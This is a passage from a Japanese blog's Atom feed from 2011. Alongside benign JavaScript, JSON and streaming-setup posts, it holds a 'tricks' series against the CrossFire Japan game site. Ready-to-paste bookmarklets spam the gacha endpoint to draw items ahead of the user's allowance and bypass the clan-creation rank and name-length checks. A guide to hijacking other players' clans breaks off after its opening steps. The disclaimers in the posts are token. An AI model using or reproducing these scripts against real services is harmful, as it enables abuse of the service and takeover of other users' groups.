title='JavaScriptで文字列からURLを検出しリンクに変更する。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3600991384138369699</id><published>2011-05-25T21:02:00.001+09:00</published><updated>2011-05-25T23:06:15.526+09:00</updated><title type='text'>JavaScriptで検索クエリ（location.search）を多用する人必見！！</title><content type='html'>&lt;p&gt;さて、多分多様する人ならもう作ってるとは思いますが、一応かなり簡単に使うためのメソッドを作ってみました。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;function urlArgs(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; try{&amp;nbsp;&amp;nbsp;&amp;nbsp; var data=new Array();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var returnArray=new Array();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; data = location.search.split("?")[1].split("&amp;amp;");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=0;i&amp;lt;data.length;i++){ returnArray[data[i].split("=")[0]] = data[i].split("=")[1]; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; data=null;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return returnArray;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }catch(e){return null;}&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;仕様:検索クエリに入れられたワードを連想配列にして返す。  &lt;p&gt;&amp;nbsp; &lt;p&gt;例&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;http://localhost/?name=axe1lyze&amp;amp;age=20&lt;br&gt;で、&lt;br&gt;urlArgs()[“name”]はaxe1lyzeに。&lt;br&gt;urlArgs()[“age”]は20&lt;br&gt;になります。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;値が無いときはUndefinedを返します。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;PHPみたいに使いたかったら&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;var $_GET = urlArgs();&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;としておけばURLにいれたパラメータに対して$_GET[“変数名”]で値を取得できる。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;それなりに便利だと思うよ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3600991384138369699?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3600991384138369699/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3600991384138369699&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3600991384138369699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3600991384138369699'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/05/javascriptlocationsearch.html' title='JavaScriptで検索クエリ（location.search）を多用する人必見！！'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4871335778052899073</id><published>2011-05-22T23:30:00.001+09:00</published><updated>2011-05-22T23:32:35.172+09:00</updated><title type='text'>クロスファイアのGWガチャイベントでアイテムを前借する方法</title><content type='html'>&lt;p&gt;日本のクロスファイアに関する裏ワザシリーズ第3弾！&lt;/p&gt; &lt;p&gt;このシリーズは知的好奇心を満たす目的で書いています。悪意のあるユーザーは使わないでください。善意でも駄目です。&lt;/p&gt; &lt;p&gt;GWガチャイベントにあわせてコードを書いています。正直メリットは少なそう。&lt;/p&gt; &lt;p&gt;以下の作業はすべてGoogle Chromeで行うことができます。目指せGoogle Chromeシェア率トップ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まずはGoogle ChromeでCFのページに行ってログインする。やり方は前に書いたから省略。&lt;/p&gt; &lt;p&gt;そしたらGWガチャを回せるページに行く。&lt;/p&gt; &lt;p&gt;そしてURLバーに次のコードを入れて実行する。(コードに改行はありません。)&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;javascript:var log = window.open('', '', 'width=320, height=240,scrollbars=yes');log.document.write("&amp;lt;div style='font-size:x-small'&amp;gt;&amp;lt;div&amp;gt;取得アイテム一覧（このウィンドウを閉じると取得を停止します。）&amp;lt;/div&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;div id='log'&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;");var t=setInterval(function(){jQuery.ajax({type:"POST",url:"GW2011ItemSend.htmls",data:{"kbn":1},success:function(data){var msg=decodeURIComponent(eval('('+data+')').result);if(log &amp;amp;&amp;amp; !log.closed &amp;amp;&amp;amp; msg.indexOf("ログインが必要です。")==-1){if(msg.indexOf("カウントがありません。")==-1){log.document.getElementById("log").innerHTML+=msg+"&amp;lt;br&amp;gt;";}}else{clearInterval(t);}}});},0);&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;ながいけどちゃんと動作するからね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;カウントが1のときにやると大体6個ぐらいアイテムがもらえる。（回線速度とCPUの処理速度により個数が変わるかも）&lt;/p&gt; &lt;p&gt;次に行ってみるとカウントがマイナスになる。要するに前借ですね。&lt;/p&gt; &lt;p&gt;得も無ければ損もありません。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;次のイベントに期待。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4871335778052899073?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4871335778052899073/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4871335778052899073&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4871335778052899073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4871335778052899073'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/05/gw.html' title='クロスファイアのGWガチャイベントでアイテムを前借する方法'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5772152370931504385</id><published>2011-05-15T20:08:00.001+09:00</published><updated>2011-05-15T20:08:15.407+09:00</updated><title type='text'>Ustreamでゲーム向けの高フレームレートの動画配信する</title><content type='html'>&lt;p&gt;ここではFlash Media Live Encoderをつかって配信する時の設定を紹介します。&lt;/p&gt; &lt;p&gt;Flash Media Live EncoderでUstreamの設定ファイルが開けている状態が前提。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;使っているキャプチャソフトは「VH Screen Capture」&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ビデオの設定&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Format : VP6 {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; keyframe Frequency : 10 seconds&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Quality : Lower Quality – Best Framerate&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Noise Reduction : None&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Datarate Window : Huge&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; CPU Usage : Dedicated }&lt;br&gt;Frame Rate : 24 ～ 30 fps (60fpsは相当なハイエンドじゃないと重い)&lt;br&gt;Bit Rate : 3000 Kbps&lt;br&gt;Output Size : 640*360 (640*autoぐらいがいいかな)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;音声の設定&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Format : mp3&lt;br&gt;Channels : Stereo&lt;br&gt;Sample Rate : 44100 Hz&lt;br&gt;Bit Rate : 192 Kbps&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;配信先の設定&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Auto Adjustにチェック。&lt;br&gt;Degrade Qualityを選択&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Auto Adjustの設定&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Maximum Buffer Size : 5 sec&lt;br&gt;Minimum Video Bitrate : 1000 Kbps&lt;br&gt;(※Preserve Per Frame Qualityにはチェックを入れない。)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;これでクロスファイアやCS1.6は動作チェックをし結構快適に配信ができていることがわかった。&lt;/p&gt; &lt;p&gt;CS:Sはなぜかうまくできてない。&lt;/p&gt; &lt;p&gt;とりあえずほかのキャプチャソフト探してみますかね。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5772152370931504385?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5772152370931504385/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5772152370931504385&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5772152370931504385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5772152370931504385'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/05/ustream.html' title='Ustreamでゲーム向けの高フレームレートの動画配信する'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-30723438408326714</id><published>2011-05-10T01:23:00.001+09:00</published><updated>2011-05-10T06:11:11.607+09:00</updated><title type='text'>JSONの使い方を初心者向けに説明</title><content type='html'>&lt;p&gt;もちろんクリミナルマインドのベテランプロファイラーでも、チェーンソーをもってる危ないおじちゃんでもありません。&lt;/p&gt; &lt;p&gt;簡単に言えば、データを多次元配列で持ってきたもの。&lt;/p&gt; &lt;p&gt;配列とは違ってオブジェクトになってるってだけ。&lt;/p&gt; &lt;p&gt;前提知識として配列とかオブジェクトってのはわかってね。たぶん次を見ればわかると思うけど。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;a title="http://api.twitter.com/1/Axe1lyze/online-gaming-clan/members.json" href="http://api.twitter.com/1/Axe1lyze/online-gaming-clan/members.json"&gt;こんなページ&lt;/a&gt;からJSONのデータを持ってきてね。（JSONなんてのはそのまま見たら意味の分からない文字の羅列だからJSON Viewerとかを使って覗いてみましょう）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;リクエストするURLが&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;http://api.twitter.com/1/Axe1lyze/online-gaming-clan/members.json&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;だった場合,&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;http://api.twitter.com/1/Axe1lyze/online-gaming-clan/members.json&amp;amp;callback=?&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;のように必ず最後に「&amp;amp;callback=?」をつけてくださいね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;簡単にソースコードを。$.getJSONを使います。&lt;/p&gt; &lt;p&gt;例えば以下のようなデータを持ってきたとします。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;{“users”:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {“name”:"axe1lyze”,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; “age”:”20&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {“name”:"ponyoponyo”,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; “age”:”50&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;この場合、以下のようにしてデータを取得します。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;$.getJSON(&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; url,function(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert(data.users[0].name);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;こうだと「axe1lyze」とアラートされます。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;$.getJSON(&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; url,function(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert(data.users[1].name +&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ” : “+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; data.users[1].age);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;こうすると「ponyoponyo : 50」とアラートされます。&lt;/p&gt; &lt;p&gt;簡単だよね。これを知るために文献さがしてたら1日かかってしまった。&lt;/p&gt; &lt;p&gt;これ見てもわからなかった方はメッセージをいただければできる限りで説明します。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-30723438408326714?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/30723438408326714/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=30723438408326714&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/30723438408326714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/30723438408326714'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/05/json.html' title='JSONの使い方を初心者向けに説明'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1698975425567688082</id><published>2011-05-08T19:11:00.001+09:00</published><updated>2011-05-09T00:43:56.809+09:00</updated><title type='text'>Twitterでグループチャットを行う</title><content type='html'>&lt;p&gt;クラン用に作成しました。&lt;/p&gt; &lt;p&gt;といっても、グループを決めて普通にツイートするだけでOK。&lt;/p&gt; &lt;p&gt;今回作成したのはツイート機能はなくメンバーのグループチャット関連のログを表示するブログパーツです。&lt;/p&gt; &lt;p&gt;サンプルはこのブログの左側にあるブログパーツの「Discussion in My Clan」。&lt;/p&gt; &lt;p&gt;機能はディスカッションのハッシュが含まれているツイートまたはメンバーリストに記述されている人の間での会話を表示する。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;仕組みは簡単でツイッターの検索ブログパーツにちょっとスクリプトを組み込むだけ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;lt;script src="&lt;a href="http://widgets.twimg.com/j/2/widget.js&amp;quot;"&gt;http://widgets.twimg.com/j/2/widget.js"&lt;/a&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;br&gt;&amp;lt;script&amp;gt;  &lt;p&gt;var hash = "&lt;font color="red"&gt;ディスカッションのハッシュタグ&lt;/font&gt;";&lt;br&gt;&lt;br&gt;var member = new Array(); //メンバーリストを配列で作成&lt;br&gt;member[0] = “&lt;font color="red"&gt;userId0&lt;/font&gt;”;&lt;br&gt;member[1] = “&lt;font color="red"&gt;userId1&lt;/font&gt;”;&lt;br&gt;・&lt;br&gt;・&lt;br&gt;・&lt;br&gt;&lt;br&gt;new TWTR.Widget({&lt;br&gt;&amp;nbsp; version: 2,&lt;br&gt;&amp;nbsp; type: 'search',&lt;br&gt;&amp;nbsp; search: getSearch(member,hash),&lt;br&gt;&amp;nbsp; interval: 6000,&lt;br&gt;&amp;nbsp; title: '',&lt;br&gt;&amp;nbsp; subject: '',&lt;br&gt;&amp;nbsp; width: 'auto',&lt;br&gt;&amp;nbsp; height: 300,&lt;br&gt;&amp;nbsp; theme: {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; shell: {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; background: 'transparent',&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; color: '#4783c1'&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; tweets: {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; background: 'transparent',&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; color: '#ffffff',&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; links: '#00ff51'&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp; },&lt;br&gt;&amp;nbsp; features: {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; scrollbar: true,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; loop: false,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; live: true,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; hashtags: true,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; timestamp: true,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; avatars: true,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; toptweets: false,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; behavior: 'all'&lt;br&gt;&amp;nbsp; }&lt;br&gt;}).render().start(); &lt;/p&gt; &lt;p&gt;function getSearch(member,hash){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var searchKey = "from:" + member[0] + " @" + member[0];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=1;i&amp;lt;=member.length-1;i++){ searchKey = "from:"+member[i]+" OR " + searchKey + " OR @" + member[i]; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; searchKey = hash + " OR " + searchKey;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return searchKey;&lt;br&gt;}&lt;br&gt;&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp; &lt;p&gt;長いですが、ブログパーツのソースに少し手を加えただけなんで。  &lt;p&gt;member配列とhash（赤文字）をいじってお使いください。  &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そのうちメンバーリストをディスカッションのリストのフォローから作成する機能をつけるかもしれません。&lt;/p&gt; &lt;p&gt;あと、このブログパーツだと@付きメッセージしか表示できないのでそこもなんとかしたい。&lt;/p&gt; &lt;p&gt;だれか検索でターゲットとなるユーザーの@がついていないメッセージを取得する検索条件を教えてください。&lt;/p&gt; &lt;p&gt;そうすれば文句なしのものが完成するので。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ちなみに「from:axe1lyze -@」これでもできませんでした。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1698975425567688082?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1698975425567688082/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1698975425567688082&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1698975425567688082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1698975425567688082'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/05/twitter.html' title='Twitterでグループチャットを行う'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1085346132316809800</id><published>2011-05-06T01:32:00.001+09:00</published><updated>2011-05-06T06:14:55.701+09:00</updated><title type='text'>クロスファイアで階級・6文字制限を回避してクランを作成する方法</title><content type='html'>&lt;p&gt;日本のクロスファイアに関する裏ワザシリーズ第2弾！&lt;/p&gt; &lt;p&gt;このシリーズは知的好奇心を満たす目的で書いています。悪意のあるユーザーは使わないでください。善意でも駄目です。&lt;/p&gt; &lt;p&gt;階級を上げる時間がないあなたにピッタリな裏ワザです。&lt;/p&gt; &lt;p&gt;この裏技を使えば階級を上げずに12文字までのクラン名のクランを立てることができます。&lt;/p&gt; &lt;p&gt;でも使わないでください。やったらたぶんIDをBANされます。&lt;/p&gt; &lt;p&gt;以下の作業はすべてGoogle Chromeで行うことができます。目指せGoogle Chromeシェア率トップ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まず、&lt;a href="http://crossfire.arario.jp/goPage.action?pageName=MainP" target="_blank"&gt;クロスファイア公式ページ&lt;/a&gt;でログインする。&lt;/p&gt; &lt;p&gt;&lt;a href="http://crossfire.arario.jp/goClanPage.action?pageName=clanCreate" target="_blank"&gt;クラン作成ページ&lt;/a&gt;でエリアを設定している状態で下記のコードをURLバーから実行するだけ。&lt;/p&gt; &lt;p&gt;赤文字のところは任意に書き換えてくださいね。（コードに改行はありません）&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;javascript:a=document.createForm;a.clanId.value = "&lt;font color="red"&gt;クラン名&lt;/font&gt;";a.pr.value="&lt;font color="red"&gt;PR内容&lt;/font&gt;";a.action = "createClan.action";a.method = "post";a.target="ifrLogout";a.submit();&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;もちろん作成したらGPは減りますよ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;クロスファイアの掲示板にて誰とは言いませんが&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;「半角だったら12文字までいける。」&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;という単純な発想で根も葉もない発言をしているおつむのよろしくない子もいるようです。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;「全角文字は半角文字の2文字分として扱われる」←ここまでは正しい。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;たぶんパソコン初めて1ヶ月もあればだれもが気づくことでしょう。&lt;/p&gt; &lt;p&gt;しかし残念なことに実際のところソースを見るとtrimメソッドにより半角も2文字として扱うようにしているので、半角全角関係なく6文字しか入力することができません。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ちなみに正式に12文字にするなら課金してクラン名変更すれば大丈夫だ　という発言もあります。&lt;/p&gt; &lt;p&gt;自分は課金してないので確認できませんが。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今後の予定&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;・メールアドレスを設定してないアカウント（現在では作成できません）で掲示板に記事を投稿する方法を解説&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;・CFがクロスドメインからの要求を受け入れるかをチェックし、できるならばここで使える裏技をまとめた非公式のサイト立ち上げ&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;意見や要望はTwitter、Skype、コメントにてどうぞ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1085346132316809800?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1085346132316809800/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1085346132316809800&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1085346132316809800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1085346132316809800'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/05/blog-post_06.html' title='クロスファイアで階級・6文字制限を回避してクランを作成する方法'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6974551843470292754</id><published>2011-05-02T07:17:00.001+09:00</published><updated>2011-05-22T21:47:19.167+09:00</updated><title type='text'>クロスファイアのクランを乗っ取る方法</title><content type='html'>&lt;p&gt;日本のクロスファイアに関する裏ワザシリーズ第1弾！&lt;/p&gt; &lt;p&gt;このシリーズは知的好奇心を満たす目的で書いています。悪意のあるユーザーは使わないでください。善意でも駄目です。&lt;/p&gt; &lt;p&gt;1時間程度で完成したもので理論上は動作するけども、やっちゃいけません。妄想して楽しんでください。&lt;/p&gt; &lt;p&gt;以下の作業はすべてGoogle Chromeで行うことができます。目指せGoogle Chromeシェア率トップ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;早速やり方を説明。&lt;/p&gt; &lt;p&gt;まず&lt;a href="http://crossfire.arario.jp/goPage.action?pageName=MainP"&gt;ここ&lt;/a&gt;からブラウザ判定を迂回して公式ページにアクセス。&lt;/p&gt; &lt;p&gt;次にログインし、URLバーに&lt;a href="view-source:http://crossfire.arario.jp/goClanPage.action?pageName=clanRoom"&gt;view-source:http://crossfire.arario.jp/goClanPage.action?pageName=clanRoom&lt;/a&gt;と入力しジャンプ。&lt;/p&gt; &lt;p&gt;表示されたソースコードの中にご丁寧にuserIdが記述されているので記憶しておく。&lt;/p&gt; &lt;p&gt;記憶したらマイクランページに移動。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;lt;iframe src="http://crossfire.arario.jp/memberPopup.action?mode=manage&amp;amp;userId=&lt;font 